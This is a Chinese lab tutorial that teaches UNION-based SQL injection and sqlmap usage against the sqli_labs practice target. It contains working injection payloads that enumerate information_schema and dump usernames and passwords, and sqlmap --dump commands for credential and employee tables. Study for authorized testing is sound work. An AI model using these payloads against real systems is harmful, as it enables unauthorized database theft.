联合查询
什么是联合查询?
你可以把它想象成:
你去餐厅点餐,本来点了「鱼香肉丝」(原始 SQL 查询),结果你偷偷跟厨师说:“把鱼香肉丝端上来的时候,顺便把后厨的菜单(敏感数据)也夹在盘子里一起端出来”。
UNION就是这个 “顺便夹带” 的操作,而 “盘子” 就是页面的回显位置。
用 “餐厅点餐” 的例子,拆解联合查询注入的 4 步核心
结合 sqli_labs 靶场(比如新闻列表 / 商品搜索场景),如图:

第一步:先确认 “能不能夹带”(判断注入点)
场景:餐厅服务员问你 “要几号菜?”(对应 URL 里的
id=1)如图

数字型注入(菜号直接报):
你说 “1 号菜,而且我要确认只有 1 号菜能上(and 1=1)”→ 服务员正常回应;

你说 “1 号菜,而且我要确认 2 号菜能上(and 1=2)”→ 服务员懵了(页面没数据)→ 说明能 “夹带”(此为举例具体根据实际情况猜测,比如这个靶场里9没有数据)

字符型注入(菜号要加引号):
你说 “'1' 号菜,而且 '1'='2'(1' and '1'='2 -- )”→ 服务员懵了→ 说明能 “夹带”
结论:能通过 “说矛盾的话” 让服务员懵,就说明可以后续 “夹带私货”
第二步:确定原始查询的列数(关键)
利用 ORDER BY 语句,通过 “报错边界” 判断列数:
sql
# 数字型
id=1 ORDER BY 3 -- 页面正常 → 至少3列
id=1 ORDER BY 4 -- 页面报错 → 原始查询共3列
# 字符型
id=1' ORDER BY 3 -- → 页面正常
id=1' ORDER BY 4 -- → 页面报错
原理:ORDER BY N 表示按第 N 列排序,若 N 超过实际列数,数据库会报错
第三步:确定回显位(能展示数据的列)
构造 UNION SELECT,用无效条件让原始查询无结果,只显示构造的查询结果:
sql
# 数字型(-1让原始查询无结果)
id=-1 UNION SELECT 1,2,3 --
# 字符型(闭合引号+注释)
id=-1' UNION SELECT 1,2,3 -- 解析:页面上显示的数字(如 2、3)就是 “回显位”,攻击者可将数字替换为敏感查询语句(如 database()、user())。
4. 第四步:构造敏感数据查询(核心实战)
将回显位的数字替换为敏感函数 / 查询,提取数据:
sql
# 提取当前数据库名(回显位为2)
id=-1 UNION SELECT 1,database(),3 --
# 提取所有数据库名(利用information_schema系统库)
id=-1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata --
# 提取指定数据库的表名(如sqli_labs)
id=-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='sqli_labs' --
# 提取指定表的列名(如sys_users)
id=-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_schema='sqli_labs' AND table_name='sys_users' --
# 提取账号密码(最终目标)
id=-1 UNION SELECT 1,username,password FROM sqli_labs.sys_users --
三、联合查询注入的关键解析要点
1. 列数 / 类型匹配原则
必须保证
UNION前后的SELECT列数完全一致,否则报错:❌ 错误:
SELECT id,title FROM news UNION SELECT 1(列数 1≠2)✅ 正确:
SELECT id,title FROM news UNION SELECT 1,'admin'(列数 2=2,类型匹配)。数据类型尽量匹配(如数字列填数字,字符串列填字符串),部分数据库(如 MySQL)会自动转换,容错性较高。
2. 回显位的利用逻辑
只有页面能展示的列(回显位)才能输出敏感数据,非回显位可填任意值(如 1、'x')。
示例:若原始查询是
SELECT id,content FROM article,且页面只显示content列(回显位为 2),则:sql
id=-1 UNION SELECT 1,database() -- (database()在回显位2,页面展示数据库名) id=-1 UNION SELECT database(),1 -- (database()在非回显位1,页面无展示)
3. 字符型注入的闭合技巧
单引号闭合:
id=-1' UNION SELECT 1,2,3 --双引号闭合:
id=-1" UNION SELECT 1,2,3 --括号 + 引号闭合:
id=-1') UNION SELECT 1,2,3 --(适配WHERE id=('1')场景)。
四、联合查询注入 vs 报错注入(核心区别)
表格
总结
联合查询注入的核心是利用 UNION 拼接查询 + 回显位输出数据,前提是页面有回显且列数匹配。
关键步骤:判类型→定列数→找回显位→提数据,其中 “定列数” 和 “找回显位” 是基础,“提数据” 是核心目标。
字符型注入需先闭合引号,数字型可直接构造,这是两类注入的核心差异点
SqlMap
什么是sqlmap?
它一个可能存在 SQL 注入的网址 / 请求,它能自动检测注入点、判断注入类型,还能一键提取数据库名、表名、列名、账号密码,甚至直接拿到数据库权限 —— 不用你手动写复杂的 payload,全程自动化
一句话理解
它能自动帮你:
发现网站有没有 SQL 注入漏洞
拿到数据库里的用户名、密码、数据
甚至拿到服务器权限
主要功能
自动识别注入点(GET、POST、Cookie、HTTP 头)
支持几乎所有数据库:MySQL、Oracle、SQL Server、PostgreSQL 等
自动脱库:查库名、表名、字段、数据
支持盲注、报错注入、联合注入、时间盲注
可读写文件、执行系统命令(高权限下)
报错注入
实验准备
需要一个报错注入的靶机
准备BurpSuite工具
攻击机(kali)
步骤1
(1)使用BurpSuite工具对靶机进行请求头部抓包->并把头部内容保存到文件里如yxwa.txt
图1:

图2:保存内容如下

步骤2
(2)使用sqlmap 读取你指定路径下的 yxwa.txt 文件(里面是 HTTP 请求包),并基于这个请求包自动检测是否存在 SQL 注入漏洞
执行代码:
sqlmap -r '/home/kali/桌面/yxwa.txt' '/home/kali/桌面/yxwa.txt' :根据自身路径选择文件路径
结果图:

(3)使用sqlmap 读取指定的 HTTP 请求文件,在检测到 SQL 注入漏洞后,直接获取当前被攻击的 Web 应用所连接的数据库名
执行代码:
sqlmap -r '/home/kali/桌面/yxwa.txt' --current-db结果图:

(4)使用sqlmap 基于指定的 HTTP 请求文件检测到注入漏洞后,专门枚举(列出)名为 sqli_labs 的数据库下的所有数据表名称
执行代码:
sqlmap -r '/home/kali/桌面/yxwa.txt' --D sqli_labs --tables结果图:

(5)检测到注入漏洞后,专门枚举(列出)sqli_labs 数据库下 sys_users 表的所有字段(列)名称及数据类型
执行代码:
sqlmap -r '/home/kali/桌面/yxwa.txt' -D sqli_labs -T sys_users --columns结果图:

(6)检测到注入漏洞后,精准导出 sqli_labs 数据库中 sys_users 表的 username(用户名)和 password(密码)字段的所有数据
执行代码
sqlmap -r '/home/kali/桌面/yxwa.txt' -D sqli_labs -T sys_users -C username,password --dump结果图:

到这里是 SQL 注入 “脱库” 的最终核心步骤
关键参数速记
表格
布尔盲注
步骤1
(1)使用BurpSuite工具对靶机进行请求头部抓包->并把头部内容保存到文件里如bool_blind.txt
图1:

图2:

步骤 2:
检测注入点并确认布尔盲注类型
sqlmap -r '/home/kali/桌面/bool_blind.txt结果图

步骤 3:
列出当前数据库名
执行代码:
sqlmap -r '/home/kali/桌面/bool_blind.txt' --current-db结果图:


步骤 4
列出目标数据库的所有表名
结果图:
sqlmap -r '/home/kali/桌面/bool_blind.txt' -D sqli_labs --tables结果图

步骤5
列出敏感表的列名
执行代码:
sqlmap -r '/home/kali/桌面/bool_blind.txt' -D sqli_labs -T hr_employees --columns结果图

步骤6:
提取敏感数据
执行数据
sqlmap -r '/home/kali/桌面/bool_blind.txt' -D sqli_labs -T hr_employees -C emp_no --dump结果图

Sqlmap批量模式
让 sqlmap 对指定 URL 中的
order_no参数自动检测 SQL 注入漏洞,若检测到则枚举当前数据库下的所有数据表名称,且全程自动执行(无需手动确认)
时间盲注为例
执行代码:
sqlmap -u http://10.10.1.97:8085/order?order_no=ORD-20240301-0001 --tables --batch核心参数逐行解析
表格
结果图

执行以后得到的结果图

此时我们得到了mall_orders
执行代码:
sqlmap -r '/home/kali/桌面/1.txt' -D sqli_labs -T mall_orders --columns/home/kali/桌面/1.txt:使用BurpSuite工具对靶机进行http请求头部抓包->并把头部内容保存到文件里结果图:

从order_on进行查看订单编号下的表
执行代码
sqlmap -r '/home/kali/桌面/1.txt' -D sqli_labs -T mall_orders -C order_no --dump结果图:

SQLmap 核心复盘
用途:掌握 SQL 注入手动联合查询原理,并用 Sqlmap 实现报错 / 布尔盲注 / 批量检测,完成从注入点检测到数据库脱库的全流程
核心:联合查询 4 步(判注入点→定列数→找回显位→提数据);Sqlmap 核心用法(-r 抓包文件 +(-D/-T/-C)+--dump,--batch 全自动)
踩坑:联合查询列数不匹配、字符型注入未闭合引号;Sqlmap 路径写错、盲注未加 --batch、敏感查询放非回显位
免责声明
警告:本实验手册中的技术仅供安全研究和授权测试使用。未经授权在他人系统上使用这些技术属于违法行为,可能导致严重的法律后果。
请确保:
仅在自有系统或获得明确书面授权的系统上进行测试
了解并遵守所在地区的法律法规
负责任地使用所学知识,遵守职业道德规范